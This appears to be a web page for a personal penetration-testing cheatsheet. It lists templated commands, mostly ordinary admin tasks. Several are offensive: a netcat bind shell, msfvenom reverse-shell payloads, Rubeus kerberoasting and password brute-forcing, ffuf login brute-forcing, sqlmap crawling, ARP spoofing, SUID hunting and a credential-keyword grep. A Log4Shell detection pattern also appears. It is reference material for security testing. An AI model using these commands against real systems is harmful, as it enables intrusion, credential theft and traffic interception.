Can't Remember This Stuff
Star

Cheatsheet with commands I often (or less often) use and would like to remember. Now as an interactive cheatsheet, to save me scrolling and clicking through all kinds of pages.

Inspired by GTFOBins, LOLBAS and WADComs.

Here is a full list of the items and a full list of the filters

Command

wmic service list

winpeas.exe cmd > output.txt

wget -mkEpnp <target_url>

wc -m <file or something>

testssl <target_url>

tcpdump -w <file>

systeminfo | findstr /B /C: "OS Name"/C: "OS Version"

ssh -f -N -R <remote_port_tunnel>:<remote_address_tunnel>:<local_port> <remote_user>@<remote_ip> -p <remote_ssh_port>

ssh -L <local_port>:<target_ip>:<target_port> <user>@<middle_machine_ip>

sqsh -S <server> -U <username> -P <password>

sqlmap -r <file>

sqlmap --forms --batch --crawl=10 -u <target_url>

showmount -e <target>

<command with output> | sed -E "s/"$'\E'"\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g"

<command with output> | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g'

Rubeus.exe harvest /interval:30

Rubeus.exe brute /password:<PASSWORD> /noticket

Rubeus.exe kerberoast

Rubeus.exe asreproast

python -c 'import pty; pty.spawn("/bin/sh")'

python3 -m build && python3 -m twine upload --repository pypi dist/*

python3 -m http.server <port>

python2 -m SimpleHTTPServer <port>

objdump -d <binary>

sudo nmap -v -A -p- <target>

nikto -ask=no -h <target_url>

nc <target> <port> PUT /file.php HTTP/1.1 Content-type: text/html Content-length: <size in bytes> <?php phpinfo(); ?>

nc -lvp <port> -e /bin/bash

nc <target> <port> OPTIONS / HTTP/1.1

mysql -h <target_host> -u <username> -p

mydumper -u <username> -a

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f c -a x86 -b "\x00"

msfvenom -p <payload> lhost=<listening_host> lport=<listening_port> -f <format> -o <output_file>

msfvenom -l <type> | grep <something>

!mona config -set workingfolder c:\mona\%p

!mona findmsp -distance <buffer_size>

!mona bytearray -b "\x00"

kerbrute userenum --dc <DOMAIN_CONTROLLER> -d <DOMAIN> <WORDLIST>

ip route add <network_ip>/<cidr> via <gateway_ip>

httprint -P0 -h <target> -s /usr/share/httprint/signatures.txt

host -l <target> <target_nameserver>

host -t ns <target>

grep -r <keyword> <target_file_or_dir>

egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log

<command with output> | grep --color=auto -E '[uU][sS][eE][rR]|[Pp][aA][sS]{2}|[dD][bB]|[vV][eE][rR][sS][iI][oO][nN]|[cC][rR][eE][dD]|[rR][oO]{2}[tT]|[aA][dD][mM][iI][nN]|href|JSESSION|JWT|jwt|[cC][oO]{2}[kK][iI][eE]|[hH][aA][sS][hH]|[0-9]{1,3}(\.[0-9]{1,3}){1,3}\:{0,1}[0-9]+'

gobuster -x php,html,txt,md,sh,exe,py,tgz,bak -w <wordlist> -eu <target_url> -o <output_file>

git rebase -i HEAD~<nr_commits> -x "git commit --amend --author '<author> <<email>>' --no-edit"

getcap -r / 2>/dev/null

find / -perm -u=s 2>/dev/null

ffuf -w <wordlist> -H "Host: FUZZ.domain.tld" -u https://<target_url_or_ip>

ffuf -w <wordlist> -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u <target_url>/customers/signup -mr "username already exists"

ffuf -w <wordlist_usernames>:W1,<wordlist_passwords>:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.120.213/customers/login -fc 200

dpkg-deb --extract <package>.deb <target_directory> && dpkg-deb --control <package>.deb <target_directory>/DEBIAN

dpkg-deb --build <target_dir>

docker save -o <output>.tar <image>

docker pull <image_tag>

docker run --name <name> -p <host_port>:<container_port> -it <image_tag>

docker save -o <output>.tar <image> && tar -xvf <output>.tar && cd <output> && cat manifest.json | jq

docker export <image_tag> | gzip > <name>.gz

dirb <target_url> -u <user>:<password>

dir /s /b <file>

curl -i -X OPTIONS <target>

curl <target_url> -o <file>

curl -I <target>

curl -vLk -X <VERB> <target>

csvtool readable <File>

column -s, -t < <file> | less -#2 -N -S

cero <domain>.<tld>

echo "<string>" | base64

echo "<string>" | base64 -d

echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i <interface> -t <target> -r <host>

Couldn't find the command you're looking for? Contribute your own!(Still working on this)